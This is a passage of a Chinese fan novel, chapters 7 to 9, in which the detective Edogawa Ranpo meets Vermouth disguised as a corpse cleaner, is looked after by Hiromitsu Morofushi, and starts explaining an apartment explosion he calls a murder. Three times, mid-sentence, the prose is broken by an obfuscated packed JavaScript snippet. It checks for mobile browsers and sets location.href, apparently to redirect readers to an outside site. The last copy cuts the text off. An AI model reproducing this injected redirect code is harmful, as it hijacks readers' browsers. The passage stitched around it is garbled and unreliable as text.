《乱步大人早已看透一切》 7. 第 7 章 打开门后,出现在江户川乱步面前的是一个穿着黑衣黑裤、戴着黑帽的中年男人,杂眉吊眼、满面横肉、身材壮硕,拎一只二十四寸的行李箱也丝毫不显费力。 面对江户川乱步的指责,也只低下头来,谦卑而木讷地道歉,“抱歉,拉门尼大人。” 江户川乱步眯了眯眼,后撤一步,让出了通道,“算了,赶紧进来打扫干净……记得除味!” 对方再次应是,细心地套了手套和鞋套进来,朝着杂物间走去,打开行李箱之后,熟门熟路地从里面拿出了裹尸袋和扎带,面不改色地走向了森协直逐渐失温的尸体。 连捆扎四肢的手法都很专业,看不出一点破绽,但处理尸体是个体力活,男女两性的身体结构终究存在差异。 抬手关节的高度、肩膀转动的角度、肌肉收缩的幅度,那是僵硬的气囊难以模拟的细腻。 只要留心观察,即便外表再如何相似,也会在行动之中窘迫地流露出不同来。 不过,若是形体相似的女性,可能他就不会这么快就发现异常了吧。 江户川乱步都纳闷,怎么一个个的,都专挑着今天扎堆上门。 他耐着性子围观了一会儿,眼见着她干净利落地将尸体固定在行李箱中,又用处理剂将血迹气味全部销赃匿迹,一丝不苟得好似自己真是来完成清道夫工作一般,越发困惑了。 于是江户川乱步像只猫般轻手轻脚地蜷缩在她的身旁,很谨慎地不去打扰正在干活的『清道夫』,以防她有什么自己未曾察觉出的隐秘计划,只眯着一双翠绿色的眼瞳,歪了歪头,问道,“什么时候这种脏活还得你来干了,组织是没人了吗?” 他稀松平常地开口,叫出了那个在组织里令人闻风丧胆的代号,“——贝尔摩德。” 正将大号行李箱合上的『清道夫』动作顿了顿,从那伪装之下泄露出了一丝轻笑的气声。 那是跟外表绝无关联的妩媚声线,只一霎间,就连身体仪态都舒展开来,显出风情万种的女性魅力,贝尔摩德抓住易容.面具的边缘,干脆利落地一撕一扯,金灿灿的长发慵懒地散落,一张聚光灯宠爱的美丽脸蛋便暴露了出来。 在这昏暗无光的杂物间,她的美貌便是光源。 贝尔摩德的指间悄无声息地滑出了一片锋利的刀片,快速随意在自己四肢躯干上划过几道,身上用来充实肌肉、塑造体形的气囊便嘶嘶漏气,快速地干瘪下去,之后她灵蛇般拧身一跳,就从厚重闷热的伪装之中脱身出来。 “呼……” 她长舒一口气,抱怨道,“真是的,这个材质的气囊衣还是太闷热了,下次得改进一下。” 她一见到江户川乱步未语便先笑,热烈的红唇轻轻勾起,亲昵地拥了上来,身上浅薄无味,只沾染上一丁点亲手处理尸体的血腥气,“好久不见,拉门尼。” “你的敏锐真是一如既往,我的易容果然还是瞒不过你。” 江户川乱步敷衍地回以拥抱,不明白外国人对皮肤组织接触的热爱,只是一触即离,“好久不见。” 他理所当然地接受了贝尔摩德的夸赞,“说到底,易容术这种东西只要一动起来破绽就到处都是,不过,乍一看倒是很逼真,用来获取情报已经足够了。” 贝尔摩德撩了撩自己蓬松的长发,无意跟江户川乱步这种推理怪物争辩易容术的美妙之处。 毕竟在江户川乱步的眼中,世界上大部分人都是无知的婴孩,连思考功能都未发育完全,只会痴呆地流口水罢了。 易容这样的把戏对他而言,或许的确只不过是小孩子过家家的幼稚手段。 随之而来的便是江户川乱步不解风情的直白质问,“所以我的清道夫呢?” 贝尔摩德忍住了翻白眼的冲动,“啊啦,现在应该乖乖地睡在某个角落里吧,安心好了,我离开的时候会记得帮你叫醒他的。” 她无往不利的魅力似乎独独在江户川乱步身上失效,连个无名小卒都比她更被江户川乱步看重。 江户川乱步真诚地发问,“那你什么时候走?我现在很需要清道夫诶!” 贝尔摩德气笑了,染着红色指甲油的纤长手指轻轻划过江户川乱步柔软的脸颊,带着些似有若无的挑拨,连说话的语气都很暧昧,“真是无情的发言,我就这么惹你厌烦吗?” 江户川乱步努力后仰,远离着那双只让他感觉到毛茸茸痒意的手,几步躲到了门外去,一双翠色的眼瞳圆溜溜地注视着贝尔摩德,显出十分警惕的模样,他实在不太擅长应付像贝尔摩德这类热衷于玩弄他人的坏女人。 “真是的,你明明也没有什么事情要找我帮忙吧,回来日本也只是为了例行的身体检查,却偏偏要特地绕路来我这里一趟,只是无聊了所以来戏弄我吗?” “谁让我们的拉门尼大人这么可爱呢。”贝尔摩德勉强算是出了口恶气,扳回一城,笑眯眯道,“况且,也不算是无所事事吧,我过来一趟也不容易……最近我听说了很有趣的消息,是行动组那边传出来的。” “听说,你要出道成为小说家了?” 江户川乱步轻哼一声,没有否认,“那是我的私人事务,跟组织没关系吧,这可是我加入时就约定好的。” “我想说的可不是这个。”贝尔摩德抽出一根香烟来点燃了,那是清道夫身上自带的劣质香烟,跟她平时喜欢的女士香烟不同,带着劣质粗粝的呛人烟味,在昏暗空间里,顶端闪烁着一丁点忽明忽暗的摇曳火光,将那双水绿色眼瞳熊熊点燃了。 雾白的烟气自那张微开的红唇中弥散。 “需要我帮忙吗,乱步?” ——贝尔摩德仍能清晰地回忆起第一次见到江户川乱步时的情景。 那是个雾气浓重的阴雨天,湿漉漉的空气里仿佛能挤出水来,细蒙蒙的雨水断断续续下着,她刚结束了一次检查,从组织伪装成制药公司的地下研究所走了出来,心情是麻木般的不快。 十四岁的少年挑了个最坏的时机,冒冒失失地出现在了她的面前。 那时候的江户川乱步还不是如今组织里备受尊敬的拉门尼,也不是受父母庇佑的推理天才。 只穿着一身单薄的卫衣长裤,一双踩满泥泞的旧鞋,头发是久未修剪的凌乱,在沉重冰冷的雨水之中仍然不肯顺服,顽固不化地翘起。 落魄潦倒到一无所有的半大小子,只剩一双翠绿色的眼瞳犹如燃烧着生命之火般,执着到要将与他对视的人也一同点燃。 他的身体如同随时随地想要逃跑般紧绷着,却稳稳当当、一动不动地站在原地,生涩无波地对她说,“让我加入你们的组织,我会让你们看见我的价值。” “作为交换,我也会利用组织的一切达成我的目的。” “不管你从哪里听来这些,忘了它,乖乖回去学校读你的书。” 贝尔摩德不是什么拯救失足少年的善人,也没有心情陪这不知天高地厚的莽撞少年玩过家家游戏,只漠然地奉劝了这么一句,就无视了他失温下微微颤抖着的身体,向前走去。 只是,江户川乱步接下来所说的话,却如同一把锋利的匕首,牢牢钉住了贝尔摩德的脚步。 逼得她陡生杀意。 “……贝尔摩德。” 素未谋面的陌生少年直视着她,缓缓吐露这个危险的代号。 “或者说莎朗·温亚德,大名鼎鼎的国际影星。” 他的声音并不高,甚至可以称得上虚弱,带着细微的呛咳声,在淅淅沥沥的雨水中,却清晰平静得可怕,“你们在玩弄时间、探索禁忌,而你是这份疯狂野心的杰作,对于组织来说,你的地位特殊且不可替代。” “由你来做我的推荐人,引荐我加入组织,我们才能省去那些毫无必要、浪费时间的试探和考验,坦诚相待、毫无介怀地互相利用,这就是我找上你的目的。” “我已经没有耐心等待了。让我加入你们,或者干脆一同毁灭。” 他的语气之中,带着让人毛骨悚然的认真。 贝尔摩德无法想象,这个连组织内部都只有极少数人知晓的秘密,江户川乱步究竟从何得知。 直至这时,贝尔摩德才终于开始认真审视江户川乱步。 她的手指已经摸上外套内侧口袋里的小巧枪支,嗓音如同伺机而发的毒蛇般轻缓阴冷,“你是从哪里知道这件事情的?” 江户川乱步的口吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566164|186987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之中带着显而易见的不耐和烦躁,“你可是个随时随地被人群注视的公众人物,只要留心观察,无论是谁都能从你的行程之中发觉不对。” 说到一半,他又晃了晃脑袋,改了口,高温大概搅乱了他的认知,让他说话都有些颠三倒四,“不,不对,如果是一般人的话,顶多只会觉得知名女星有地下恋情,就好像你也顺着这些猜测在铺垫着‘女儿’的存在。” “真正有用的信息,隐藏在你不断变换身份的行程之中,不论飞往哪个国家工作,你总会定期来到这里,以男人、女人或老人的身份,进入到这家公司。” 他抬手,指向旁边高耸大楼上悬挂着的招牌,白鸠制药几个大字异常显眼。 少年拧着眉头,迟缓地解释,“这是家套壳公司,假借着研发药品的名义干着违法研究的活,这一点,只要去检查运进去的原材料或是运出来的废渣,或是好好看看周边街道那些消失的流浪汉和独居者们,就能知道了吧。迄今为止都还没有出事,是因为有官员在跟你们勾结。” “只要将一切线索串联起来,真相不就已经很明显了吗?那些明明知道一切却装作看不见眼前的恐怖、自如生活下去的人们,不觉得很可怕吗?好像隐藏在人类社会中难以理解的怪物一样,一次次无视别人的苦难,一次次冷冰冰的视若无睹。” 少年抬起眼来,玻璃珠般通透的翠瞳一眨不眨,雨丝落进去,就好像落进深不见底的幽湖,激不起一丝波澜。 “过不了几年,你就会让莎朗·温亚德死去,摆脱掉腐朽、衰老的旧躯壳,好像蜕皮的蛇一般以全新的身份亮相世界舞台吧。” “像这样舍弃一切的痛苦蜕皮,是第一次还是今后的无数次?” 他显然已经察觉到贝尔摩德细微动作中的森然杀机,却依旧不管不顾地爆出更多隐秘在激怒着她。 像是赌命的狂徒,又像是穷途末路的困兽,以那样连雨水都浇淋不灭的怒火,熊熊点燃名为江户川乱步的薪柴,在血肉消融以前绝不熄灭地迸发光热。 “你能感受到自己作为人类的存在吗?或是常常感觉到身为怪物的孤独与厌倦?” “来帮我,也帮你自己,贝尔摩德。” “我会将你从组织的束缚之中解放出来。” 那焚身的火焰怪物朝她伸出手来,灼热的焚风扑面而来,风中竟裹挟着她从未体验的新鲜生机。 贝尔摩德麻木的心颤了颤,情不自禁般伸手回握,两只冰冷的手掌在雨水中滑腻相贴,就好像两只冷血动物在相互拥抱、徒劳无功地试图相互取暖般荒诞。 她是受他挟持,才为他作荐。 却不由自主地期待着,期待着由江户川乱步掀起的这阵风,会为她带来什么样的改变。 “——你要来帮我吗,贝尔摩德?” 江户川乱步歪了歪脑袋,冷静地分析,“我们两人扯上关系可不是什么好事,明面上,你是暴露于聚光灯下的影星,我也会成为公众眼中的推理小说家,暗地里,你是依赖神秘主义的千面魔女,我是组织敌人的眼中钉。为了私人事务影响到组织的隐蔽性,你会麻烦缠身吧?怎么看都是百害而无一利的事情,却上赶着来做,真不像你的作风。” “呵。” 贝尔摩德莞尔一笑,两指间燃烧着的劣质烟草燃尽,几乎要灼烧到她光洁的皮肤,她随意地将香烟摁灭在行李箱上,留下一个焦黑的圆疤。 “人的社会关系是多样的,虚构一条表面的脉络,就没有人会再去多此一举地剖析那紧紧纠缠的暗线。你说的这些对于你我而言根本不成问题,就好像也不会有人因为我是组织的成员,而去质疑有希子的身份。” “真奇怪啊,乱步,说着会利用一切的你,为什么要拒绝这么有用的我呢?” “啰嗦。” 江户川乱步不高兴地呵斥道,“你才很奇怪吧,明明只不过是推荐与被推荐人这样浅薄的关系而已,却直到现在还一直帮我,真搞不懂你在想什么。” “是啊。”贝尔摩德眨眨眼,纤长的手指抵上热烈的红唇,神秘微笑道,“连我自己都搞不懂自己在想些什么呢。” “或许,只是为了自己高兴而已。” 8. 第 8 章 冰凉的饮料罐,贴上了运动过后汗津津的脸颊,带来一阵奇妙的战栗。 “景,来瓶汽水吗?” 诸伏景光回过神来,接过了降谷零递来的汽水,弯起眉眼,下意识露出了个温和的笑容来,“多谢了,零。” 降谷零长腿一迈,跨过长椅,跟他坐在了一起,“感觉你最近有些奇怪,有什么心事吗?” 诸伏景光微微一怔,无奈道,“这么明显吗?不过,与其说是心事,不如说是好事吧。” 他笑着说,“零,你还记得我小时候跟你说过的朋友吗?江户川乱步。” 降谷零微微怔愣了一下。 这个名字一下将降谷零拽回了跟诸伏景光初识的夏天。 怎么会不记得? 那是在诸伏景光刚刚转学到东京的时候,黑发蓝眼的转学生长相俊秀、性格体贴,按理说应该很受欢迎,但在班上的同学看来,诸伏景光简直是个怪人,一天到晚都在写信,想要跟他认识的同学只能得到一句满含歉意的拒绝,渐渐的,就没有人再去接近他了。 相熟以后,降谷零好奇地问过他,每天都在给谁写信,从那时起就得知了那个名字。 “乱步,江户川乱步,是我重要的朋友。” 诸伏景光不假思索地这样说,露出了有些落寞的神情,“但是不知道为什么,乱步一直没给我回信。” “我看那家伙一定是把你忘了吧。” “如果能把我忘记的话,乱步一定是交到其他朋友了。”诸伏景光温柔上挑的蓝眼睛带着浅浅的笑意,“那就太好了。” “搬家之后我就一直很担心乱步,如果连一个朋友都没有的话,会不会太过寂寞了。” “那家伙性格是有多恶劣,才会只有你一个朋友啊。”降谷零不以为然。 诸伏景光很严肃地说,“不要这么说,零,乱步跟你很像,他没有做错任何事情,只是因为头脑太过聪明,才会被排斥的。” 为了让降谷零相信他的话,诸伏景光将曾经发生在自己身上的事情说了出来。 “——那个提前发现了杀人犯、拯救了你们一家的天才少年?”降谷零问道。 “没错。”诸伏景光的声音里近乎雀跃了,“本以为没有机会再见到他了,没想到竟然这样巧合地在街头偶遇了,乱步还跟小时候一模一样、没有变化……” 诸伏景光将跟江户川乱步两次见面的事情说了一遍。 “我只是回来以后才忽然想到,好像都没有问问乱步怎么会一个人到东京来,如果是因为工作原因,邮寄稿件或者电子邮件沟通应该也都很方便,如果可以的话,跟父母住在一起明明更合适吧,能够同时在生活和心灵上都得到照顾……” 他说了很多,最后得出了结论,“乱步是无法独自生活下去的,他会把自己搞得乱七八糟。我就是在担心这一点。” 诸伏景光蹙着眉,澄澈的蓝眼睛里是忧心忡忡。 降谷零喉间干涩,是的,他也正是担心这一点——或许是因为过去恩情的影响,诸伏景光几乎把江户川乱步当成自己的责任般背负在身上,他过分地看重这份友谊了,甚至某些时候,会显露出些让人匪夷所思的执着。 “没关系吧?” 降谷零最终笑着这样说,“警校每周都可以请假出去,你也有江户川乱步的联系方式和居住地址,不放心的话就多去看看就行了吧?” 的确,也只能这样了。 诸伏景光提着超市里买的蔬菜,按照上次的地址来到了那幢公寓楼,是略显老旧、几十年的公寓楼,但养护的很好,公用设施和区域都干干净净、清清爽爽,因为被租用给了许多留学生和外籍劳工,出入登记并不严格,诸伏景光一路走进去都没有人拦他,电梯按下十一楼的按钮,最左边的那户就是江户川乱步的家。 事先用邮件预约过了,所以按下门铃后,里面立即传来了动静,不一会儿,门就敞开了,奇怪的是,只敞开了一小点。 江户川乱步从门缝里挤出一颗毛茸茸的脑袋,神情恼火极了,“玄关被样品占满了!暂时进不来!等一下!” 这旧公寓采取了很不合理的内开门设计,一旦玄关堆放了些东西,就难以打开,总让人不禁忧心火灾来时该如何逃生。 说完,江户川乱步就将脑袋又费力地缩回去了,额头好像在铁质门框上磕碰了下,发出咚的一声清脆响声。 诸伏景光被拦在门外帮不上忙,只能隔着门用言语安抚着看起来气鼓鼓的乱步,“别着急,乱步,慢慢来就好。” 里面反复传来踢踏步一样嗒嗒小跑的声响,乱步像是在搬东西,偶尔还会有沉重物品砸落在地的噼啪声响,让人不禁思考他口中的样品是指什么。 装修建材的样品?不,上次乱步说了,这里是租用的房子。 家用杂货的样品?不,乱步不太像是这样勤俭实用的个性。 那果然,只能是书籍的样品了吧。 诸伏景光不由得生出期待来,像乱步这样天生的推理天才,所能写出来的推理作品,会是什么样的风格呢? 好不容易,门能打开了,诸伏景光熟门熟路地走了进去,才发现这栋房子跟上次比起来,简直是天差地别,指整洁方面。 阻碍开门的真凶小山一样堆积在客厅的一角,着急搬运落在过道上的新书孤零零地散落着,几大叠报纸杂志、期刊报告和一台厚重的笔记本电脑拥挤在一方小小的茶几上,穿过没穿过的外套和毯子一起瘫在沙发上,餐桌边一把椅子都不剩了,全在各种犄角旮旯里做垫脚之用,罪恶的储物柜没关好,开了条小缝,各种零食如流水般满溢出来,数量看起来绝对比上周更多。 而乱步本人。 诸伏景光的眼神一凝。 乱糟糟的黑发,湖水般翠绿的眼睛眯着,额角上果然磕了道红痕,正微微肿胀起来,身上衬衫下摆扣错了纽扣,歪歪扭扭地堆在腰间,外面穿了件大码的黑色风衣外套,既不合身也不合适,皱巴巴的不知是在哪里窝着了,还带着细碎的饼干碎屑和粉状渣滓。 这不是完全没有照顾好自己吗? 但乱步本人丝毫不这么觉得,甚至认为自己这周的表现已经相当不错了,毕竟弄懂微波炉的使用方法、每天加热诸伏景光留下的饭菜、将脏碗筷放进洗碗机后又拿出来整理是多么麻烦的事情,还勉为其难地让无用的信息占据了他宝贵的大脑,他都做到这种程度了,理应得到夸奖。 江户川乱步从小山中抽了一本出来,岌岌可危的平衡立刻被破坏了,丝滑地流淌下来,扑通扑通掉了满地。 乱步叹了口气,也跟着扑通一下、筋疲力尽地坐在了地板上,抱怨着,“都怪川平,说什么要准备特别签名书,以做营销活动,平白无故增加了这么多工作量,说到底这种事情不是只要有个笔迹然后批量印刷在封皮上不就好了吗?” 他随手在地板上摸了一支签字笔,翻开样品书的封面,在内页上刷刷两下写了一句寄语和签名,这样就算完成一本了,放到一边去。 诸伏景光眼睁睁看着签过名的书籍和崭新的书籍混淆在了一起,深感不妙。 如果任由江户川乱步这样下去而无人帮忙,不用半天时间他就会因为分不清已完成的工作和未完成的工作而生气吧。 说不定还会跟样品书吵起架来,总感觉乱步就是这样的大人。 “我来帮忙吧,乱步。” 诸伏景光待不住,立刻行动起来,他换上室内鞋之后,先将买来的蔬菜塞进江户川乱步的冰箱里——里面果然也是空空如也,想必江户川乱步口中的那个保姆被解雇以后,就没有人再去试图填满这个冰箱了。 而后他先将散落在客厅各个角落里的样品书都先整齐堆叠好,好在问过乱步之后得知,这堆书山也是今天才刚刚送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566165|186987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了,他也还没有签几本,既然如此也没必要特地去区分出来,直接从头开始好了,未完成的放在一边,已完成的放在另一边,这样江户川乱步就能够安心工作了。 顺带着将客厅的卫生打扫了一下,等整个屋子焕然一新的时候,江户川乱步的工作也已经完成了,他的字迹虽然小学生般圆滚滚的,但出乎意料,书写速度还蛮快,每本书都不同的寄语几乎不假思索地就能流畅写出,这大概就是聪明人的知识储备和思维速度,让人连羡慕都羡慕不来。 诸伏景光随手拿起一本来,礼貌地问,“内容可以看吗?这应该是还未发表的新书吧。” 江户川乱步并不在意地挥挥手,指节处凹陷下去几处微微泛红的柔软小坑,是握笔留下的,“随便,反正校对、排版、印刷都已经完成了,过两天就会上架。” 他翠色的眼珠子圆溜溜地一瞥,又故作不在意地收回,“想要的话随便你拿几本走,这可是特别签名版,等正式发布之后肯定会炒到天价。” 诸伏景光的确对推理天才所写的书相当感兴趣,不过现在可不是看书的好时候,得到精神食粮的同时,也得把做饭的人先喂饱才行。 世界第一推理小说家预备役的肚子已经在咕噜噜地叫了。 江户川乱步得到了跟上周一模一样、备受纵容的特别待遇,诸伏景光发现自己做好一周份量的饭菜比试图教会乱步做菜容易多了,于是这次干脆撇开他,随意塞了一点零碎的活给乱步打发时间,让他别在自己身边转悠来转悠去,而后就开始大展身手。 冷冻又加热的菜品,跟热气腾腾的饭菜味道到底是不一样的,江户川乱步虽然不是挑食的人,最难过的时候连着一周吃杯面也有过,但在允许挑剔的时候,那当然还是现做的好吃。 只剩残羹剩饭的时候,江户川乱步咬着筷头,盯着满桌的碗盘发着呆,脑海里蹦出来的一个念头让他不由得认真思考起来。 ——怎么才能让诸伏景光走马上任、成为他的新任小助理? 诸伏景光注意到他的视线,温和的蓝眼睛投来关切的目光,“怎么了?” 有一个问题,从再次与诸伏景光相遇之后,江户川乱步就一直回避着。 即便是年幼时无话不谈、亲密无间的朋友,也不代表着日后也能一直维系着这段关系。 正如他和诸伏景光,已然走上了截然相反的道路,在第一次、第二次、第三次见面时,尽管他们的对话总是浅尝辄止,没有深入内心,但有些信念无需言语,也会从四肢百骸的动作之中坚定不移地透出。 诸伏景光梦想着成为如他兄长般的警察,去逮捕如外守一般穷凶极恶的罪犯,去保护如他们一家般平凡幸福的人们。 他站在光明的世界里,有着蔚蓝色的未来。 无私而毫不吝啬地来照顾他,这行动只能说明他是个再好不过的善人,江户川乱步是构成他梦想最微不足道的边角,换成别的什么叫江户川一二三的人也并无区别。 虽然贪恋着这份温柔,但将他拉到自己这一边,会让他感到难过吧。 江户川乱步打消了自己的念头。 算了,笨蛋就应该待在全是笨蛋的世界里,傻傻地跟所有人一样过平凡幸福的一生。 就好像鱼应该待在水里、鸟应该飞在天上、树应该长在泥里,这个世界每个人都有着自己的位置,擅自挪位的人就好像按错地方的拼图一般,要么格格不入的角缺,要么粉身碎骨的重塑。 他歪了歪脑袋,举起空碗,对着认真注视着他的诸伏景光笑眯眯地说,“再来一碗!” 就在这时,楼栋发出了一声恐怖的巨响,老旧的墙体簌然震颤了一下。 天花板的腻子开了裂,雪白的粉尘飘飘然洒落,细蒙蒙地污染了刚收拾好的客厅,江户川乱步脸上的笑意收拢了,嘴角下撇出一个不愉快的弧度。 他不太高兴。 9. 第 9 章 即便是从客厅的窗户都能看见蓬出的红色火光在舐着外墙,慌乱的尖叫声一瞬间打破了夜晚的宁静,身为警校学生的诸伏景光神色凝重,第一时间冲上了楼,还不忘嘱咐他走消防通道到楼下的空地避难。 江户川乱步乖乖听话地下去了。 对于聪明人而言,他的优势在于敏捷的思维、丰沛的知识、捕捉细节的能力和大胆的联想,而不在于柔弱的身体,特别是在这种随时会发生二次爆炸的危险情境下,保护好自己才是第一要义。 若不是预料到诸伏景光只会让他白费口舌,江户川乱步还想着要将他一起拉下去。 跟很多人共同站在公寓楼前的空地上,消防车、救护车和警车呜呜的鸣笛声隔了很远传来,江户川乱步在眉骨上搭了个小帐篷,眯着眼睛仰头去捕捉楼道里抱着人在奋力奔跑的那道身影。 有人跟他搭话,口音有些奇怪。 “你也是楼上的住户吗?很可怕对吧,怎么会突然发生爆炸,不会是燃气管道老化泄露了吧。” 江户川乱步瞥了他一眼,“不是。” 对方噎了一下,“你怎么这么肯定,是有看到发生了什么事?” 江户川乱步懒洋洋地敷衍着,“不,我什么都没看见。” 运气真不好。 江户川乱步想着,在自己的安全屋附近发生这种谋杀案也就算了,偏偏凶手之一还刻意找上他来暴露线索,真是的,这下子不是想要装作视而不见都不行了吗? 毕竟这样显眼的事实都明晃晃摆在眼前了,还故作不知的话,就太可疑了吧。 那人自言自语,“也是,突然发生这种事情,大家肯定都慌乱极了,这种情况下怎么可能还注意到是什么东西发生爆炸,威力又这样强,或许连那东西本身都粉碎了。” 在明明灭灭的火光之下,那人的面容轮廓染上了一丝猩红色,黝黑的肤色和异域的面孔在人群之中格外显眼。 他似乎察觉到了暴露于光线下后,人们投来的打量视线,不自在地后撤一步,隐入灰暗之中。 诸伏景光也气喘吁吁地跑下了楼,衣服被火星燎出几个焦黑的洞来,神色凝重地找了块平坦的空地,将背上的人放了下来。 嘶—— 有人不由得倒吸了一口凉气。 那人的模样实在太过凄惨了,被火舌吞噬了大半的衣服与皮肤密不可分地粘黏在一起,裸露在外的皮肤碳化、龟裂、大块大块地掉落,露出淡粉色、水盈盈的皮肉,那大口大口的喘息只让人觉得如同死神演奏的手风琴,每一声都更接近地狱。 实在不像是能活下去的样子。 有人认出了他的身份,“是十二楼的青城叶先生!” 诸伏景光喘了一声,大声呼问,“救护车到了吗?” “马上就到!”率先拨打了急救电话的人回答道。 正如他所说的那样,远远就看到了火光的救护车无需指路就停在了公寓楼旁,有医护人员抬着担架将青城叶抬到救护车上,给他做维系生命的急救措施,紧急送往了医院,而紧接着在这之后,警车和消防车也迅速赶到了。 扑灭大火之后,按部就班的调查工作就开始了。 诸伏景光自然是再配合不过了,他本身就是警校的学生,又是第一个冲入火场、救出青城叶的目击者,两名警官将他带到一旁,一人询问,一人记录,耗费了很长时间。 “真是太惊险了……公寓门是内开的设计,青城先生大概是不太熟悉这一点,一直拼命地向外撞门……大火已经蔓延至门口了,情况很紧急,我想进去,但他却往外推,根本打不开门,后面青城先生又昏迷了过去,把门顶住了……” 江户川乱步本以为很快就会轮到自己,可隔壁的大叔大婶、楼下的小妹小弟、门口的保安大叔都一个个谈遍了,才终于轮到了他,这样不分轻重的顺序让他很不爽。 明明重要的证人就在眼前,却偏偏要浪费时间在那些无关紧要的人物身上,这群税金小偷是在渎职没错吧,日本警察界果然是烂透了。 江户川乱步实在不理解,因此当警察拿着记录本走到他面前时,他忍不住发问了,“这么光明正大地渎职好吗?” 眼前的警察小哥不过二十多岁刚毕业的样子,被他的惊人之语问懵了,一时间有些生气,“什、什么?这位先生,请不要在没有证据的情况下乱讲话!” 江户川乱步比他更恼火,“什么叫没有证据,你们这悠哉悠哉的样子不就是证据吗?明明知道这是一起凶杀案,却不立即封锁现场,放任凶手跑掉,明明重要的证人就在眼前,却偏要磨磨蹭蹭地调查记录些无关紧要的事情,如果这样都称不上是渎职的话,难不成你是连这样显而易见的线索都看不见的瞎子吗?” 警察小哥只觉得冤枉极了。 这不是一起单纯的突发火灾吗?他们过来只是为了排除人为纵火的可能性,协助消防队一起调查火灾起因而已。什么时候就变成凶杀案了?重要证人又在哪里啊! 跟他搭档的警察大叔敏锐地捕捉到了某些信息,神情严肃起来,打开录音笔,询问道,“这位先生,您是知道了什么吗?” 江户川乱步撇了撇嘴,只觉得麻烦,刚刚跑来找他搭话的真凶之一早就趁乱跑掉了,他又不知道对方的名字,要指认凶手的话,果然还是要从头开始说起吧。 诸伏景光那边的问话结束了,他好像总是对江户川乱步怀有一种莫名的责任感,生怕他被人欺负或是去欺负别人了,急匆匆跑过来,站在他这一边。 “乱步,要好好配合警官先生。” 江户川乱步又烦恼了,整体而言,他是希望能在诸伏景光面前表现出值得称赞的可靠模样,起码不能像现在这样总是被当成小孩子一样看护着吧。 明明是同龄人来着。 “算了,我可只说一遍,你们要好好听着哦。” 要从哪里开始说起呢? 果然还是得从青城叶搬进楼上1201室开始吧。 江户川乱步租下这间公寓有段时间了,在东京诸多处安全屋里,这里是他待的时间最长的一间,不为什么,只因为这里鱼龙混杂、好接头,对于江户川乱步这样不太能认路的人来说,等任务和情报送上门,比每次都得特地出门方便多了。 不过,鱼龙混杂在某种意义上也就意味着混乱、无序、阴暗滋生。 这里是许多外籍劳工和留学生的聚集地,悄悄隐藏在这里直至签证过期的黑户数量庞大,从事着最辛苦、最底层的工作,忍耐着一切积攒着最微薄的薪水,只为还清来到这里所付出的沉重贷款。 类似的命运串联起一批同病相怜的异乡人,逐渐形成了类似于互助会一般的组织。 而青城叶就是其中的一员。 这是件奇怪的事情,因为青城叶是个彻头彻尾的东京本地人,在黑户居多的互助会里像是羊群里的狼一般格格不入。 青城叶搬来的那天,整栋公寓楼都热闹非凡,许多住户纷纷出门上上下下地帮他搬着行李,整理家居,还有人特地送上乔迁礼,在这栋几乎代表着底层的公寓楼里简直是不可思议的事情。 江户川乱步也出了门,趴在走廊的栏杆上看热闹。 他对青城叶这个人印象深刻,三十出头的男人西装革履、光彩照人,被一帮外籍人士簇拥在一起,游刃有余地切换着好几种不同的语言跟他们自如交流着,神情温和耐心到不可思议。 唔,是个渴望成功到割舍了良心的人。 江户川乱步见过不少这样的人,大多活得有滋有味、幸福美满。 而与之相对的。 江户川乱步将目光转向了青城叶身旁最热切的那个青年,穿了一身廉价的汗衫短裤,在工厂车间里闷出一身热汗,匆匆忙忙打完第二份工回家连澡都来不及洗,却无比积极地抢着帮青城叶拎东西。 青城叶笑着将行李箱递给了他,却小心翼翼地避开了他汗气蒸腾的小臂。 被榨干了血汗泪的人却连自己正身处地狱之中的事实都无知无觉,还感恩戴德地歌颂着将他推入地狱的恶魔。 江户川乱步问,“起码青城叶是做什么的你们应该知道吧?” “呃,留学机构的负责人?”警察小哥看了眼手机,犹犹豫豫地说。 “嘛,答对了一半吧。”江户川乱步打了个响指,“是留学机构负责人兼职业劳务中介。” 帮助第三世界国家的廉价劳工通过学生签证留在日本,再给他们介绍工作,从中牟取中介费和学费,这就是青城叶的工作。 他实在是个工作认真的人,为了让事业更上一层楼,甚至不惜忍住厌恶跟这些外籍人士打好关系,加入他们的互助会,住进他们的公寓楼,关心他们的生活和家里人。 很少有人能像他一样亲切、热心、不惜利益地关心外籍劳工们。 在这样互相介绍的关系网下,青城叶的事业果然很快做大了,那些漂洋过海、遥远而来的异乡人们就如同信赖亲人一样信赖着他。 在语言不通、文化不同的异国他乡,紧紧依靠着这唯一能求助的对象,虽然借着留学的名义踏进日本,但除去小部分家境优渥的留学生,大部分人都心情急迫地想要挣钱还债。 青城叶正是利用这一点,不断筛选着无力学习语言的人,为自己饲养了一群可供压榨的听话猪猡,用工作榨干了他们的精力,用隔阂打造一座监牢,让这群异乡人们虽然身处社会,却与世隔绝。 江户川乱步继续说道,“但是某一天,事情发生了转变。” 黑发绿眸的青年缓缓叙述 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 